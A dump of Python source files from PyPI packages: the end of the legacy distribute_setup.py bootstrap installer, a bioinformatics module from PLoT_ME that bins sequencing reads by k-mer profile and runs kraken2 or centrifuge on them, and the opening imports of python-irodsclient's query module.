to_dir=os.curdir, download_delay=15, no_fake=True):
# making sure we use the absolute path
to_dir = os.path.abspath(to_dir)
was_imported = 'pkg_resources' in sys.modules or \
'setuptools' in sys.modules
try:
try:
import pkg_resources
# Setuptools 0.7b and later is a suitable (and preferable)
# substitute for any Distribute version.
try:
pkg_resources.require("setuptools>=0.7b")
return
except (pkg_resources.DistributionNotFound,
pkg_resources.VersionConflict):
pass
if not hasattr(pkg_resources, '_distribute'):
if not no_fake:
_fake_setuptools()
raise ImportError
except ImportError:
return _do_download(version, download_base, to_dir, download_delay)
try:
pkg_resources.require("distribute>=" + version)
return
except pkg_resources.VersionConflict:
e = sys.exc_info()[1]
if was_imported:
sys.stderr.write(
"The required version of distribute (>=%s) is not available,\n"
"and can't be installed while this script is running. Please\n"
"install a more recent version first, using\n"
"'easy_install -U distribute'."
"\n\n(Currently using %r)\n" % (version, e.args[0]))
sys.exit(2)
else:
del pkg_resources, sys.modules['pkg_resources'] # reload ok
return _do_download(version, download_base, to_dir,
download_delay)
except pkg_resources.DistributionNotFound:
return _do_download(version, download_base, to_dir,
download_delay)
finally:
if not no_fake:
_create_fake_setuptools_pkg_info(to_dir)
def download_setuptools(version=DEFAULT_VERSION, download_base=DEFAULT_URL,
to_dir=os.curdir, delay=15):
"""Download distribute from a specified location and return its filename
`version` should be a valid distribute version number that is available
as an egg for download under the `download_base` URL (which should end
with a '/'). `to_dir` is the directory where the egg will be downloaded.
`delay` is the number of seconds to pause before an actual download
attempt.
"""
# making sure we use the absolute path
to_dir = os.path.abspath(to_dir)
try:
from urllib.request import urlopen
except ImportError:
from urllib2 import urlopen
tgz_name = "distribute-%s.tar.gz" % version
url = download_base + tgz_name
saveto = os.path.join(to_dir, tgz_name)
src = dst = None
if not os.path.exists(saveto): # Avoid repeated downloads
try:
log.warn("Downloading %s", url)
src = urlopen(url)
# Read/write all in one block, so we don't create a corrupt file
# if the download is interrupted.
data = src.read()
dst = open(saveto, "wb")
dst.write(data)
finally:
if src:
src.close()
if dst:
dst.close()
return os.path.realpath(saveto)
def _no_sandbox(function):
def __no_sandbox(*args, **kw):
try:
from setuptools.sandbox import DirectorySandbox
if not hasattr(DirectorySandbox, '_old'):
def violation(*args):
pass
DirectorySandbox._old = DirectorySandbox._violation
DirectorySandbox._violation = violation
patched = True
else:
patched = False
except ImportError:
patched = False
try:
return function(*args, **kw)
finally:
if patched:
DirectorySandbox._violation = DirectorySandbox._old
del DirectorySandbox._old
return __no_sandbox
def _patch_file(path, content):
"""Will backup the file then patch it"""
f = open(path)
existing_content = f.read()
f.close()
if existing_content == content:
# already patched
log.warn('Already patched.')
return False
log.warn('Patching...')
_rename_path(path)
f = open(path, 'w')
try:
f.write(content)
finally:
f.close()
return True
_patch_file = _no_sandbox(_patch_file)
def _same_content(path, content):
f = open(path)
existing_content = f.read()
f.close()
return existing_content == content
def _rename_path(path):
new_name = path + '.OLD.%s' % time.time()
log.warn('Renaming %s to %s', path, new_name)
os.rename(path, new_name)
return new_name
def _remove_flat_installation(placeholder):
if not os.path.isdir(placeholder):
log.warn('Unkown installation at %s', placeholder)
return False
found = False
for file in os.listdir(placeholder):
if fnmatch.fnmatch(file, 'setuptools*.egg-info'):
found = True
break
if not found:
log.warn('Could not locate setuptools*.egg-info')
return
log.warn('Moving elements out of the way...')
pkg_info = os.path.join(placeholder, file)
if os.path.isdir(pkg_info):
patched = _patch_egg_dir(pkg_info)
else:
patched = _patch_file(pkg_info, SETUPTOOLS_PKG_INFO)
if not patched:
log.warn('%s already patched.', pkg_info)
return False
# now let's move the files out of the way
for element in ('setuptools', 'pkg_resources.py', 'site.py'):
element = os.path.join(placeholder, element)
if os.path.exists(element):
_rename_path(element)
else:
log.warn('Could not find the %s element of the '
'Setuptools distribution', element)
return True
_remove_flat_installation = _no_sandbox(_remove_flat_installation)
def _after_install(dist):
log.warn('After install bootstrap.')
placeholder = dist.get_command_obj('install').install_purelib
_create_fake_setuptools_pkg_info(placeholder)
def _create_fake_setuptools_pkg_info(placeholder):
if not placeholder or not os.path.exists(placeholder):
log.warn('Could not find the install location')
return
pyver = '%s.%s' % (sys.version_info[0], sys.version_info[1])
setuptools_file = 'setuptools-%s-py%s.egg-info' % \
(SETUPTOOLS_FAKED_VERSION, pyver)
pkg_info = os.path.join(placeholder, setuptools_file)
if os.path.exists(pkg_info):
log.warn('%s already exists', pkg_info)
return
log.warn('Creating %s', pkg_info)
try:
f = open(pkg_info, 'w')
except EnvironmentError:
log.warn("Don't have permissions to write %s, skipping", pkg_info)
return
try:
f.write(SETUPTOOLS_PKG_INFO)
finally:
f.close()
pth_file = os.path.join(placeholder, 'setuptools.pth')
log.warn('Creating %s', pth_file)
f = open(pth_file, 'w')
try:
f.write(os.path.join(os.curdir, setuptools_file))
finally:
f.close()
_create_fake_setuptools_pkg_info = _no_sandbox(
_create_fake_setuptools_pkg_info
)
def _patch_egg_dir(path):
# let's check if it's already patched
pkg_info = os.path.join(path, 'EGG-INFO', 'PKG-INFO')
if os.path.exists(pkg_info):
if _same_content(pkg_info, SETUPTOOLS_PKG_INFO):
log.warn('%s already patched.', pkg_info)
return False
_rename_path(path)
os.mkdir(path)
os.mkdir(os.path.join(path, 'EGG-INFO'))
pkg_info = os.path.join(path, 'EGG-INFO', 'PKG-INFO')
f = open(pkg_info, 'w')
try:
f.write(SETUPTOOLS_PKG_INFO)
finally:
f.close()
return True
_patch_egg_dir = _no_sandbox(_patch_egg_dir)
def _before_install():
log.warn('Before install bootstrap.')
_fake_setuptools()
def _under_prefix(location):
if 'install' not in sys.argv:
return True
args = sys.argv[sys.argv.index('install') + 1:]
for index, arg in enumerate(args):
for option in ('--root', '--prefix'):
if arg.startswith('%s=' % option):
top_dir = arg.split('root=')[-1]
return location.startswith(top_dir)
elif arg == option:
if len(args) > index:
top_dir = args[index + 1]
return location.startswith(top_dir)
if arg == '--user' and USER_SITE is not None:
return location.startswith(USER_SITE)
return True
def _fake_setuptools():
log.warn('Scanning installed packages')
try:
import pkg_resources
except ImportError:
# we're cool
log.warn('Setuptools or Distribute does not seem to be installed.')
return
ws = pkg_resources.working_set
try:
setuptools_dist = ws.find(
pkg_resources.Requirement.parse('setuptools', replacement=False)
)
except TypeError:
# old distribute API
setuptools_dist = ws.find(
pkg_resources.Requirement.parse('setuptools')
)
if setuptools_dist is None:
log.warn('No setuptools distribution found')
return
# detecting if it was already faked
setuptools_location = setuptools_dist.location
log.warn('Setuptools installation detected at %s', setuptools_location)
# if --root or --preix was provided, and if
# setuptools is not located in them, we don't patch it
if not _under_prefix(setuptools_location):
log.warn('Not patching, --root or --prefix is installing Distribute'
' in another location')
return
# let's see if its an egg
if not setuptools_location.endswith('.egg'):
log.warn('Non-egg installation')
res = _remove_flat_installation(setuptools_location)
if not res:
return
else:
log.warn('Egg installation')
pkg_info = os.path.join(setuptools_location, 'EGG-INFO', 'PKG-INFO')
if (os.path.exists(pkg_info) and
_same_content(pkg_info, SETUPTOOLS_PKG_INFO)):
log.warn('Already patched.')
return
log.warn('Patching...')
# let's create a fake egg replacing setuptools one
res = _patch_egg_dir(setuptools_location)
if not res:
return
log.warn('Patching complete.')
_relaunch()
def _relaunch():
log.warn('Relaunching...')
# we have to relaunch the process
# pip marker to avoid a relaunch bug
_cmd1 = ['-c', 'install', '--single-version-externally-managed']
_cmd2 = ['-c', 'install', '--record']
if sys.argv[:3] == _cmd1 or sys.argv[:3] == _cmd2:
sys.argv[0] = 'setup.py'
args = [sys.executable] + sys.argv
sys.exit(subprocess.call(args))
def _extractall(self, path=".", members=None):
"""Extract all members from the archive to the current working
directory and set owner, modification time and permissions on
directories afterwards. `path' specifies a different directory
to extract to. `members' is optional and must be a subset of the
list returned by getmembers().
"""
import copy
import operator
from tarfile import ExtractError
directories = []
if members is None:
members = self
for tarinfo in members:
if tarinfo.isdir():
# Extract directories with a safe mode.
directories.append(tarinfo)
tarinfo = copy.copy(tarinfo)
tarinfo.mode = 448 # decimal for oct 0700
self.extract(tarinfo, path)
# Reverse sort directories.
if sys.version_info < (2, 4):
def sorter(dir1, dir2):
return cmp(dir1.name, dir2.name)
directories.sort(sorter)
directories.reverse()
else:
directories.sort(key=operator.attrgetter('name'), reverse=True)
# Set correct owner, mtime and filemode on directories.
for tarinfo in directories:
dirpath = os.path.join(path, tarinfo.name)
try:
self.chown(tarinfo, dirpath)
self.utime(tarinfo, dirpath)
self.chmod(tarinfo, dirpath)
except ExtractError:
e = sys.exc_info()[1]
if self.errorlevel > 1:
raise
else:
self._dbg(1, "tarfile: %s" % e)
def _build_install_args(options):
"""
Build the arguments to 'python setup.py install' on the distribute package
"""
install_args = []
if options.user_install:
if sys.version_info < (2, 6):
log.warn("--user requires Python 2.6 or later")
raise SystemExit(1)
install_args.append('--user')
return install_args
def _parse_args():
"""
Parse the command line for options
"""
parser = optparse.OptionParser()
parser.add_option(
'--user', dest='user_install', action='store_true', default=False,
help='install in user site package (requires Python 2.6 or later)')
parser.add_option(
'--download-base', dest='download_base', metavar="URL",
default=DEFAULT_URL,
help='alternative URL from where to download the distribute package')
options, args = parser.parse_args()
# positional arguments are ignored
return options
def main(version=DEFAULT_VERSION):
"""Install or upgrade setuptools and EasyInstall"""
options = _parse_args()
tarball = download_setuptools(download_base=options.download_base)
return _install(tarball, _build_install_args(options))
if __name__ == '__main__':
sys.exit(main())
|
PypiClean
|
/PLoT_ME-0.9.1-cp38-cp38-manylinux2014_x86_64.whl/plot_me/classify.py
|
import argparse
import csv
from datetime import datetime as dt
from glob import glob
import logging
from multiprocessing import cpu_count
# from multiprocessing.pool import Pool
import os
from os import path as osp
import pandas as pd
import pickle
import shutil
import subprocess
from pathlib import Path
from time import perf_counter
import re
import numpy as np
from Bio import SeqRecord, SeqIO
from tqdm import tqdm
# Import paths and constants for the whole project
from plot_me import RECORDS
from plot_me.tools import init_logger, scale_df_by_length, is_valid_directory, is_valid_file, create_path, \
time_to_hms, f_size, bash_process, import_cython_mod
from plot_me.bio import kmers_dic, seq_count_kmer, combine_counts_forward_w_rc, n_dim_rc_combined, \
codons_without_rev_comp
logger = logging.getLogger(__name__)
# If the total size of the reads, assigned to one bin, is below this percentage of the total fastq file, those reads are dropped
cython_is_there = False
cyt_ext = ImportError
THREADS = 1
CLASSIFIERS = (('kraken2', 'k35_l31_s7'),
("centrifuge", ''))
K = None
BIN_NB = None
DROP_BIN_THRESHOLD = -1 # by default, will be set as 1% / BIN_NB
def reads_in_file(file_path):
""" Find the number of reads in a file.
Count number of lines with bash wc -l and divide by 4 if fastq, otherwise by 2 (fasta) """
return round(int(subprocess.check_output(["wc", "-l", file_path]).split()[0]) /
(4 if bin_classify.format == "fastq" else 2))
class Binner:
""" Direct binner of reads, for dev purposes. """
def __init__(self, _f_model, k=4, w=10**4):
""" load a clustering model for the read binner """
self.model = None
self.k = k
self.w = w
self.kmer_cols = []
self._f_model = _f_model
self._load_model()
self._set_cols()
def _load_model(self):
with open(self._f_model, 'rb') as f:
self.model = pickle.load(f)
def _set_cols(self):
self.kmer_cols = codons_without_rev_comp(self.k)
def scale(self, df):
divider = df[self.kmer_cols].sum(1) - self.k + 1
ratio = 4.0 ** self.k / divider
return df[self.kmer_cols] * ratio
def classify_df(self, df):
assert isinstance(df, pd.DataFrame), TypeError("Only Pandas DataFrame data type supported at the moment")
return self.model.predict(self.scale(df))
# #############################################################################
class ReadToBin(SeqRecord.SeqRecord):
""" General Read. Wrapping SeqIO.Record """
logger = logging.getLogger(__name__)
KMER = {} # kmers_dic(K)
FASTQ_PATH = None
FASTQ_BIN_FOLDER = None
FILEBASE = ""
MODEL = None
PARAM = ""
outputs = {}
total_reads = 0
file_has_been_binned = False
NUMBER_BINNED = 0
DIM_COMBINED = None
def __init__(self, obj):
# wrap the object
self._wrapped_obj = obj
# Additional attributes
self.cluster = None
self._kmer_count = None
self.scaled = None
def __getattr__(self, attr):
if attr in self.__dict__:
return getattr(self, attr)
return getattr(self._wrapped_obj, attr)
@property
def kmer_count(self, ignore_N=True):
""" common method """
if self._kmer_count is None:
if cython_is_there:
self._kmer_count = cyt_ext.kmer_counter(str(self.seq), k=K, dictionary=True, combine=True, length=len(self.seq))
else:
self._kmer_count = combine_counts_forward_w_rc(seq_count_kmer(self.seq, self.KMER.copy(), K, ignore_N=ignore_N), k=K)
return self._kmer_count
@property
def path_out(self, cluster=None):
return f"{self.FASTQ_BIN_FOLDER}/{self.FILEBASE}.bin-{self.cluster if cluster is None else cluster}.fastq"
def scale(self):
self.logger.log(5, "scaling the read by it's length and k-mer")
if cython_is_there:
counts = cyt_ext.kmer_counter(str(self.seq), k=K, dictionary=False, combine=True, length=len(self.seq))
cyt_ext.scale_counts(counts, K, len(self.seq))
self.scaled = counts.reshape(-1, self.DIM_COMBINED)
else:
self.scaled = scale_df_by_length(np.fromiter(self.kmer_count.values(), dtype=np.float32)\
.reshape(-1, self.DIM_COMBINED),
None, k=K, w=len(self.seq), single_row=True) # Put into 2D one row
return self.scaled
def find_bin(self):
self.logger.log(5, 'finding bins for each read')
self.cluster = int(self.MODEL.predict(self.scaled)[0])
self.description = f"bin_id={self.cluster}|{self.description}"
# self.path_out = f"{self.FASTQ_BIN_FOLDER}/{self.FILEBASE}.bin-{self.cluster}.fastq"
# Save all output files
ReadToBin.outputs[self.cluster] = self.path_out
return self.cluster
def to_fastq(self):
assert self.path_out is not None, AttributeError("Path of the fastq file must first be defined")
with open(self.path_out, "a") as f:
SeqIO.write(self, f, bin_classify.format)
@classmethod
def set_fastq_model_and_param(cls, path_fastq, path_model, param, force_binning):
assert osp.isfile(path_fastq), FileNotFoundError(f"{path_fastq} cannot be found")
# todo: load the parameter file from parse_DB.py instead of parsing string.... parameters_RefSeq_binning.txt
cls.PARAM = param
cls.FASTQ_PATH = path_fastq
folder, file_base = osp.split(osp.splitext(path_fastq)[0])
# output folder, will host one file for each bin
cls.FASTQ_BIN_FOLDER = osp.join(folder, param)
# Compute expected length
cls.DIM_COMBINED = n_dim_rc_combined(K)
cls.total_reads = reads_in_file(cls.FASTQ_PATH)
# skip if reads already binned
if osp.isdir(cls.FASTQ_BIN_FOLDER):
total_binned_reads = 0
if not force_binning:
# Compute total reads count if it hasn't been forced
for path in Path(cls.FASTQ_BIN_FOLDER).rglob("*bin-*.fastq"):
str_path = path.as_posix()
total_binned_reads += reads_in_file(str_path)
_, key, _ = re.split('.bin-|.fastq', str_path)
cls.outputs[int(key)] = str_path
cls.logger.debug(f"A folder has been detected, and holds in total {total_binned_reads} reads, "
f"compared to the {cls.total_reads} in the original fastq file.")
if force_binning or cls.total_reads != total_binned_reads:
last_modif = dt.fromtimestamp(osp.getmtime(cls.FASTQ_BIN_FOLDER))
save_folder = f"{cls.FASTQ_BIN_FOLDER}_{last_modif:%Y-%m-%d_%H-%M}"
cls.logger.warning(f"Folder existing, renaming to avoid losing files: {save_folder}")
os.rename(cls.FASTQ_BIN_FOLDER, save_folder)
else:
# Flag up if read counts are equal, and no forcing to recount
cls.file_has_been_binned = True
create_path(cls.FASTQ_BIN_FOLDER)
cls.FILEBASE = file_base
if not path_model == "full":
cls.KMER = kmers_dic(K)
with open(path_model, 'rb') as f:
cls.MODEL = pickle.load(f)
@classmethod
def bin_reads(cls):
""" Bin all reads from provided file """
# Skip binning if already done. Count total number of lines in each binned fastq
if cls.file_has_been_binned:
cls.logger.info(f"Fastq has already been binned, skipping reads binning: {cls.FASTQ_PATH}")
return
cls.logger.info(f"Binning the reads (count kmers, scale, find_bin, copy to file.bin-<cluster>.fastq")
# todo: try to parallelize it, careful of file writing concurrency.
# Dask ? process to load and count kmers, single one for appending read to fastq ?
# with Pool(cls.CORES) as pool:
# results = list(tqdm(pool.imap(pll_binning, SeqIO.parse(cls.FASTQ_PATH, "fasta"))))
# counter = len(results)
# TODO Cyt: use Cython file reader, k-mer counter and binner, fallback on Python otherwise
counter = 0
for record in tqdm(SeqIO.parse(cls.FASTQ_PATH, bin_classify.format), total=cls.total_reads,
desc="binning and copying reads to bins", leave=True, dynamic_ncols=True):
counter += 1
custom_read = ReadToBin(record)
# custom_read.kmer_count
custom_read.scale()
custom_read.find_bin()
custom_read.to_fastq()
cls.logger.info(f"{counter} reads binned into bins: [" + ", ".join(map(str, sorted(cls.outputs.keys()))) + "]")
cls.NUMBER_BINNED = counter
return cls.outputs
@classmethod
def sort_bins_by_sizes_and_drop_smalls(cls):
""" Sort the fastq bins by their size. drop_bins is the *percentage* below which a bin is ignored """
bin_size = {}
for f in os.scandir(cls.FASTQ_BIN_FOLDER):
bin_nb = int(f.name.split('.')[1].split('-')[1])
size = osp.getsize(f)
bin_size[size] = bin_nb
full_fastq_size = osp.getsize(cls.FASTQ_PATH)
minimum_size = full_fastq_size * DROP_BIN_THRESHOLD / 100
# make a copy first, then empty the dic, and rewrite it in the correct order
fastq_outputs = ReadToBin.outputs.copy()
ReadToBin.outputs = {}
dropped_bins = []
dropped_size = 0
for size, bin_nb in sorted(bin_size.items(), reverse=True):
if size > minimum_size:
ReadToBin.outputs[bin_nb] = fastq_outputs[bin_nb]
else:
dropped_bins.append(bin_nb)
dropped_size += size
cls.logger.debug(f"Reads in bin {bin_nb} has a size of {f_size(size)}, and will be dropped "
f"(less than {DROP_BIN_THRESHOLD}% of all binned reads {f_size(full_fastq_size)})")
cls.logger.warning(f"Dropped bins {dropped_bins}, with total file size of {f_size(dropped_size)}. "
f"Lower parameter drop_bin_threshold to load all bins despite low number of reads in a bin.")
return ReadToBin.outputs
def pll_binning(record):
""" Parallel processing of read binning """
custom_read = ReadToBin(record)
# custom_read.kmer_count
custom_read.scale()
custom_read.find_bin()
custom_read.to_fastq()
# #############################################################################
class MockCommunity:
""" For a fastq file, bin reads, classify them, and compare results """
def __init__(self, path_original_fastq, db_path, full_DB, folder_report, path_binned_fastq={},
classifier_name="kraken2", param="", clf_settings="default", dry_run=False, verbose=False):
self.logger = logging.getLogger('classify.MockCommunity')
assert osp.isfile(path_original_fastq), FileNotFoundError(f"Didn't find original fastq {path_original_fastq}")
self.logger.debug(f"Path to hash files: db_path = {db_path}")
self.path_original_fastq = path_original_fastq
self.folder, self.file_name = osp.split(osp.splitext(self.path_original_fastq)[0])
self.path_binned_fastq = path_binned_fastq # {<bin i>: <path_file>}
self.folder_report = folder_report
self.classifier_name = classifier_name
self.db_path = db_path # location of the hash table for the classifier
self.db_type = "full" if full_DB else "bins" # Either full or bins
self.hash_size = {}
self.folder_out = osp.join(self.folder_report, self.file_name)
self.path_out = osp.join(self.folder_out, f"{param}.{classifier_name}.{clf_settings}.{self.db_type}")
self.dry_run = dry_run
self.verbose = verbose
self.cmd = None
# Initialization functions
os.makedirs(self.folder_out, exist_ok=True)
self.archive_previous_reports()
@property
def classifier(self):
if self.classifier_name == "kraken2":
return self.kraken2
elif self.classifier_name == "centrifuge":
return self.centrifuge
else:
NotImplementedError("This classifier hasn't been implemented")
def archive_previous_reports(self):
""" move existing reports to _archive """
archive_folder = osp.join(self.folder_out, "_archive")
self.logger.info("archiving previous reports into: " + archive_folder)
os.makedirs(archive_folder, exist_ok=True)
for file in glob(self.path_out + "*"):
shutil.move(file, osp.join(archive_folder, osp.basename(file)))
def classify(self):
self.logger.info(f"Classifying reads with {self.db_type} setting")
if "bins" in self.db_type:
for bin_id in self.path_binned_fastq.keys():
folder_hash = osp.join(self.db_path, f"{bin_id}")
self.logger.debug(f"Path of fastq bin : {self.path_binned_fastq[bin_id]}")
self.logger.debug(f"Path of folder of hash bin : {folder_hash}")
self.classifier(self.path_binned_fastq[bin_id], folder_hash, arg=f"bin-{bin_id}")
# todo: combine reports to Kraken2 format
elif "full" in self.db_type:
self.classifier(self.path_original_fastq, self.db_path, arg="full")
else:
NotImplementedError("The database choice is either full or bins")
def centrifuge(self, fastq_input, folder_hash, arg="unknown"):
""" Centrifuge calls
https://ccb.jhu.edu/software/centrifuge/manual.shtml#command-line
"""
hashes_file = [osp.join(folder_hash, f"cf_index.{i}.cf") for i in range(1, 4)]
hash_root = osp.join(folder_hash, "cf_index")
assert osp.isfile(hashes_file[0]), FileNotFoundError(f"Hash table not found ! {hash_root}*")
self.hash_size[arg] = sum(osp.getsize(f) for f in hashes_file)
self.logger.info(f'start to classify reads from file ({f_size(fastq_input)}) {fastq_input}')
self.logger.info(f'with centrifuge, {arg}. hash table is ({f_size(self.hash_size[arg])}) {hash_root}*')
out_path = f"{self.path_out}.{arg}" if self.db_type == "bins" else f"{self.path_out}"
out_file = f"{out_path}.out"
self.logger.info(f'output is {out_file}')
self.cmd = [
"centrifuge", "-x", hash_root, "-U", fastq_input,
"-S", out_file, "--report-file", f"{out_path}.centrifuge-report.tsv",
"--time", "--threads", f"{THREADS}",
]
if self.dry_run:
self.logger.debug(" ".join(self.cmd))
else:
bash_process(self.cmd, f"launching centrifuge classification on {fastq_input}")
# Then do the kraken2 report
cmd2 = ["centrifuge-kreport", "-x", hash_root, out_file, ">", f"{out_path}.report"]
bash_process(" ".join(cmd2), f"launching centrifuge kreport on {fastq_input}")
def kraken2(self, fastq_input, folder_hash, arg="unknown"):
if "hash.k2d" in folder_hash: folder_hash = osp.dirname(folder_hash)
hash_file = osp.join(folder_hash, "hash.k2d")
assert osp.isfile(hash_file), FileNotFoundError(f"Hash table not found ! {hash_file}")
self.hash_size[arg] = osp.getsize(hash_file)
self.logger.info(f'start to classify reads from file ({f_size(fastq_input)}) {fastq_input}')
self.logger.info(f'with kraken2, {arg}. hash table is ({f_size(hash_file)}) {hash_file}')
formatted_out = f"{self.path_out}.{arg}" if self.db_type == "bins" else f"{self.path_out}"
self.logger.info(f'output is {formatted_out}.out')
self.cmd = [
"kraken2", "--threads", f"{THREADS}",
"--db", folder_hash,
fastq_input,
"--output", f"{formatted_out}.out",
"--report", f"{formatted_out}.report",
]
if self.dry_run:
self.logger.debug(" ".join(self.cmd))
else:
bash_process(self.cmd, f"launching kraken2 classification on {fastq_input}")
def kraken2_report_merging(self):
self.logger.info('Merging kraken2 reports')
# todo: merging reports to species level
raise NotImplementedError()
def report_to_csv(self):
raise NotImplementedError()
# todo: create .csv per species
def __repr__(self):
return f"Fastq file located at <{self.path_original_fastq}>, ready to be classified with " \
f"{self.classifier_name} with the DB <{self.db_type}> located at {self.db_path}"
# #############################################################################
# Defaults and main method
def bin_classify(list_fastq, path_report, path_database, classifier, full_DB=False, threads=cpu_count(),
f_record="~/logs/classify_records.csv", clf_settings="", drop_bin_threshold=DROP_BIN_THRESHOLD,
skip_clas=False, force_binning=False, no_cython=False):
""" Should load a file, do all the processing """
_ = init_logger(__package__) # initialize the global logger
logger.info("\n*********************************************************************************************************")
logger.info("**** Starting script **** \n ")
global THREADS
THREADS = threads
if not no_cython:
global cyt_ext, cython_is_there
cyt_ext, cython_is_there = import_cython_mod()
# preparing csv record file
if not osp.isfile(f_record):
os.makedirs(osp.dirname(f_record), exist_ok=True)
with open(f_record, 'w', newline='') as csv_file:
csv_writer = csv.writer(csv_file, delimiter='\t', quotechar='|', quoting=csv.QUOTE_MINIMAL)
headers = ("FILE", "BINS_vs_FULL", "BINNING", "CLASSIFY", "TOTAL", "HASHES_SIZE", "NB_BINS", "HASH_PATH", "HASH_NAME")
csv_writer.writerow(headers)
logger.info("let's classify reads!")
# Find the model
global K, BIN_NB, DROP_BIN_THRESHOLD
if full_DB:
path_model = "full"
K = 0
BIN_NB = 1
# clusterer, bin_nb, k, w, omitted = (None, 1, None, None, None)
path_to_hash = path_database
if "hash.k2d" in path_to_hash:
path_to_hash = osp.dirname(path_to_hash)
if "hash.k2d" not in os.listdir(path_to_hash):
FileNotFoundError(f"hash.k2d not found in folder: {path_to_hash}")
else:
path_model = ""
for file in os.scandir(path_database):
if file.name.startswith("model.") and file.name.endswith(".pkl"):
path_model = file.path
break
assert osp.isfile(path_model), FileNotFoundError(f"didn't find the ML model in {path_database}... {path_model}")
# Parse the model name to find parameters:
basename = path_model.split("/model.")[1]
clusterer, bin_nb, k, w, omitted, _ = re.split('_b|_k|_s|_o|.pkl', basename)
K = int(k)
BIN_NB = int(bin_nb)
DROP_BIN_THRESHOLD = drop_bin_threshold if drop_bin_threshold != -1 else 1. / BIN_NB
path_to_hash = osp.join(path_database, classifier, clf_settings)
logger.debug(f"path_to_hash: {path_to_hash}")
logger.debug(f"Found parameters: clusterer={clusterer}, bin number={BIN_NB}, k={K}, w={w}, omitted={omitted}")
if cython_is_there:
cyt_ext.set_verbosity(logging.INFO)
cyt_ext.init_variables(K)
# Set the folder with hash tables
param = osp.basename(path_database)
if param == "": param = osp.basename(path_database[:-1])
logger.info(f"Assuming parameters are: {param}")
t = {} # recording time at each step
for i, file in enumerate(list_fastq):
try:
assert osp.isfile(file), FileNotFoundError(f"file number {i} not found: {file}")
if file.lower().endswith(".fastq"):
bin_classify.format = "fastq"
elif file.lower().endswith(".fasta"):
bin_classify.format = "fasta"
else:
raise NotImplementedError("The file is neither ending with .fasta nor with .fastq")
# setting time
base_name = osp.basename(file)
key = base_name
t[key] = {}
t[key]["start"] = perf_counter()
logger.info(f"Opening fastq file ({i+1}/{len(list_fastq)}) {f_size(file)}, {base_name}")
# Binning
if not full_DB:
ReadToBin.set_fastq_model_and_param(file, path_model, param, force_binning)
ReadToBin.bin_reads()
ReadToBin.sort_bins_by_sizes_and_drop_smalls()
t[key]["binning"] = perf_counter()
t[key]["reads_nb"] = ReadToBin.NUMBER_BINNED
if not skip_clas:
fastq_classifier = MockCommunity(
path_original_fastq=file, db_path=path_to_hash, full_DB=full_DB, folder_report=path_report,
path_binned_fastq=ReadToBin.outputs, classifier_name=classifier, param=param)
fastq_classifier.classify()
t[key]["classify"] = perf_counter()
t[key]["hashes"] = fastq_classifier.hash_size
# todo: process reports to have one clean one
except Exception as e:
logger.exception(e)
logger.error(f"script crashed for file: {file}")
records = []
for key in t.keys():
if 'classify' not in t[key].keys():
break
if "binning" in t[key]:
t_binning = time_to_hms(t[key]['start'], t[key]['binning'], short=True)
t_classify = time_to_hms(t[key]['binning'], t[key]['classify'], short=True)
t_total = time_to_hms(t[key]['start'], t[key]['classify'], short=True)
hashes = t[key]["hashes"]
h_size = sum(hashes.values())
logger.info(f"timings for file {key} / binning : {t_binning}, for {t[key]['reads_nb']} reads")
logger.info(f"timings for file {key} / classify: {t_classify}, "
f"{len(hashes)} bins, total size of hashes loaded: {f_size(h_size)}")
else:
t_binning = time_to_hms(t[key]['start'], t[key]['start'], short=True)
t_classify = time_to_hms(t[key]['start'], t[key]['classify'], short=True)
t_total = t_classify
hashes = t[key]["hashes"]
h_size = sum(hashes.values())
logger.info(f"timings for file {key} / classify: {time_to_hms(t[key]['start'], t[key]['classify'])}")
# to CSV
# todo: add precision / sensitivity / abundance
row = (key, "full" if full_DB else "bins", t_binning, t_classify, t_total, f"{h_size / 10 ** 9:.2f}GB", f"{len(hashes)}",
path_database, osp.basename(path_database))
records.append(row)
# Timings and to csv
with open(f_record, 'a', newline='') as csv_file:
csv_writer = csv.writer(csv_file, delimiter='\t', quotechar='|', quoting=csv.QUOTE_MINIMAL)
csv_writer.writerows(records)
logger.info(f"Script ended, {len(t)} files processed \n")
bin_classify.format = "fastq"
def test_classification():
""" Should have a toy data set that i can bin, classify, and check the results """
# todo: toy data set to check if it works
raise NotImplementedError
def arg_parser():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument('path_plot_me', help='Sub-folder generated by PLoT-ME, containing the pre-classifier '
'model (model*.pkl), as well as the classifier\'s hash tables. '
'In the form: `../PLoT-ME-data/k4_s10000/minikm_b10_k4_s10000_oAllRefSeq`. '
'If using the full_index, provide the path up to '
'`.../PLoT-ME-data/no-binning/o<omitted>`.')
parser.add_argument('path_reports', help='Folder for output reports', type=is_valid_directory)
parser.add_argument('-i', '--input_fastq', help='List of input files in fastq format, space separated.',
default=[], type=is_valid_file, nargs="+", metavar='')
parser.add_argument('-c', '--classifier', help="classifier's name and its parameters, space separated. "
"Ex: '--classifier kraken k35_l31_s7', or '-c centrifuge'. "
"For unsupported classifiers, you can stop after "
"step 3, and build their index based on 'RefSeq_binned'",
default=CLASSIFIERS[0], type=str, nargs="+", metavar='')
parser.add_argument('-f', '--full_index', help='Use the full index', action='store_true')
parser.add_argument('-t', '--threads', help='Number of threads (default=%(default)d)',
default=cpu_count(), type=int, metavar='')
parser.add_argument('-d', '--drop_bin_threshold', help='Drop fastq bins smaller than x percent of the initial '
'fastq. Helps to avoid loading hash tables for very few '
'reads (default = 1%% / <number of bins>)',
default=DROP_BIN_THRESHOLD, type=float, metavar='')
parser.add_argument('-r', '--record', help='Record the time spent for each run in CSV format (default=%(default)s)',
default=RECORDS, type=str, metavar='')
parser.add_argument('--skip_classification',help='Skip the classification itself '
'(for benchmarking or to use other classifiers)',
action='store_true')
parser.add_argument('--force_binning', help='If reads have already been binned, binning is skipped, unless '
'this flag is activated',
action='store_true')
parser.add_argument('--no_cython', help='Disable Cython', action='store_true')
args = parser.parse_args()
logger.debug(f"Script {__file__} called with {args}")
if len(args.classifier) == 1:
args.classifier.append('')
bin_classify(args.input_fastq, args.path_reports, args.path_plot_me,
classifier=args.classifier[0], full_DB=args.full_index, threads=args.threads, f_record=args.record,
drop_bin_threshold=args.drop_bin_threshold, skip_clas=args.skip_classification,
clf_settings=args.classifier[1], force_binning=args.force_binning, no_cython=args.no_cython)
if __name__ == '__main__':
arg_parser()
|
PypiClean
|
/python-irodsclient-1.1.8.tar.gz/python-irodsclient-1.1.8/irods/query.py
|
from __future__ import absolute_import
from collections import OrderedDict
from irods import MAX_SQL_ROWS
from irods.models import Model
from irods.column import Column, Keyword
from irods.message import (
IntegerIntegerMap, IntegerStringMap, StringStringMap, _OrderedMultiMapping,
